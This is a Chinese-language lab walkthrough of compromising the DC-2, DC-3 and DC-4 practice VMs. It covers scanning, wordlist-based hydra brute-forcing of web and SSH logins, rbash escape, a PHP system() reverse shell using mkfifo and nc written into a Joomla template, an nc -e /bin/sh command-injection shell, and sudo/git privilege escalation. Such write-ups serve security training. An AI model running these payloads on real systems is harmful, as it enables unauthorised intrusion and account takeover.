作者:路人 | 来源:互联网 | 2023-09-15 09:58
靶机环境及下载dc1-dc6靶机下载地址:http://www.five86.com/DC2靶机ip:192.168.56.160DC3靶机ip:192.168.56.161DC4靶机ip:192.
![作者喜欢这张图,那就用这张图叭O(∩_∩)O~~](https://img.php1.cn/3cd4a/1eebe/cd5/e62700fe09f8933e.webp)
靶机环境及下载
dc1-dc6靶机下载地址:http://www.five86.com/
DC2靶机ip:192.168.56.160
DC3靶机ip:192.168.56.161
DC4靶机ip:192.168.56.162
说明:获取目标主机的flag
知识点
nmap扫描
hydra爆破
cewl密码生成
git shell
joomla SQL注入
linux拒绝服务提权
命令注入
teehee root shell
渗透测试
DC2
第一步使用nmap扫描目标网络端口服务
namp -A 192.168.56.160
![dc2001 dc2001](https://img.php1.cn/3cd4a/1eebe/cd5/99b88427bc9ce0dc.webp)
经扫描目标只开放80端口,从扫描结果看出还需要设置hosts文件才能访问,添加好hosts
![dc2002 dc2002](https://img.php1.cn/3cd4a/1e618/cd5/af17da15769ccb2e.jpeg)
访问http://dc-2 页面是一个wordpress,看见了flag1,flag1给出提示密码在这页面上
使用cewl生成密码
cewl -w dc2_passwords.txt http://dc-2
有密码了但没有用户名呀,wpscan扫描
![dc2003 dc2003](https://img.php1.cn/3cd4a/1eebe/cd5/99b88427bc9ce0dc.webp)
扫描结果得到了三个用户名admin,tom,jerry得到用户名和密码之后就开始爆破
hydra -L dc-2_user.txt -P dc-2_password.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testCOOKIE=1:S=Location'
![dc2004 dc2004](https://img.php1.cn/3cd4a/1eebe/cd5/b386c433a16f5497.webp)
使用jerry账户登录才能得到flag2
![dc2005 dc2005](https://img.php1.cn/3cd4a/1eebe/cd5/5287a7b3296ea13e.webp)
由于权限的限定不能给他反弹个shell,我再次对目标网络端口进行扫描结果发现了ssh端口7744
使用tom成功登录
ssh tom@192.168.56.160 -p 7744
出现-rbash: id: command not found 参考https://www.anquanke.com/post/id/173159 里面的绕过
导入$PATH
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
![dc2007 dc2007](https://img.php1.cn/3cd4a/1eebe/cd5/443b30bb45e66690.webp)
![dc2006 dc2006](https://img.php1.cn/3cd4a/1eebe/cd5/2fdc212433a29829.png)
切换jerry用户找到了flag4.txt,提示可以git提权参考https://gtfobins.github.io/gtfobins/git/
![dc2008 dc2008](https://img.php1.cn/3cd4a/1eebe/cd5/ed19db63ee478b98.png)
![dc2009 dc2009](https://img.php1.cn/3cd4a/1eebe/cd5/bff2716168d1ed7b.webp)
DC3
访问http://192.168.56.161
![dc3001 dc3001](https://img.php1.cn/3cd4a/1eebe/cd5/a5d7215df572c386.webp)
此框架为joomla,使用joomscan工具扫描检测到版本为3.7.0 此版本有个SQL注入直接使用工具 或者手工注入
![dc3002 dc3002](https://img.php1.cn/3cd4a/1eebe/cd5/8343fdbffb0056b5.webp)
得到了admin的hash密码,爆破一下得到密码snoopy,登录,接下来反弹shell
写入代码
system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 1337 >/tmp/f’);
?>
![dc3003 dc3003](https://img.php1.cn/3cd4a/1e618/c5a/d5d40da532c3a782.png)
访问http://192.168.56.161/templates/protostar/shell.php 即可反弹shell
查看linux版本lsb_relase -a
![dc3004 dc3004](https://img.php1.cn/3cd4a/1eebe/cd5/617c1173853af4b6.webp)
接下来使用linux拒绝服务漏洞进行提权
![dc3005 dc3005](https://img.php1.cn/3cd4a/189d8/b64/5b34b53b79a39fdd.jpeg)
DC4
使用namp扫描
![dc4001 dc4001](https://img.php1.cn/3cd4a/189d8/b64/5b34b53b79a39fdd.jpeg)
目标开放了22,80两个端口
访问80端口 http://192.168.56.162
![dc4002 dc4002](https://img.php1.cn/3cd4a/1eebe/cd5/7494af3c1cda418d.webp)
说用admin登录,而且看出没有什么限制爆破一下
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.162 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
![dc4003 dc4003](https://img.php1.cn/3cd4a/1eebe/cd5/bdd1ca32a69bc8b2.webp)
得到了密码happy,登录之后可以看到能够执行ls -l, du -h,df -h这三个命令,可以看出可能存在命令注入漏洞。
![dc4004 dc4004](https://img.php1.cn/3cd4a/1eebe/cd5/d34245582687a4e6.webp)
使用burp抓包,修改radio参数里面的内容,反弹shell
nc -e /bin/sh 192.168.56.1 1234
![dc4005 dc4005](https://img.php1.cn/3cd4a/1eebe/cd5/ed19db63ee478b98.png)
在home目录找到三个用户charles, jim,sam,结果在jim用户下找到一个password文件
![dc4006 dc4006](https://img.php1.cn/3cd4a/9b0d/ae9/2d998ad7838fbf16.jpeg)
复制下来进行爆破
hydra -L dc4-user.txt -P dc4-password.txt -t 6 ssh://192.168.56.162
![dc4007 dc4007](https://img.php1.cn/3cd4a/1eebe/cd5/d84f9786330d9e41.png)
切换为jim用户,读取用户下的mbox,为一个邮件
![dc4008 dc4008](https://img.php1.cn/3cd4a/1eebe/cd5/8373b1277127c518.webp)
去/var/mail/下得到charles的密码
![dc4009 dc4009](https://img.php1.cn/3cd4a/1eebe/cd5/7494af3c1cda418d.webp)
再次切换用户
![dc4010 dc4010](https://img.php1.cn/3cd4a/1eebe/cd5/d34245582687a4e6.webp)
sudo -l 却提示可以看到可以使用teehee进行root shell,将他写入crontab计划任务中
![dc4011 dc4011](https://img.php1.cn/3cd4a/1e618/c5a/d5d40da532c3a782.png)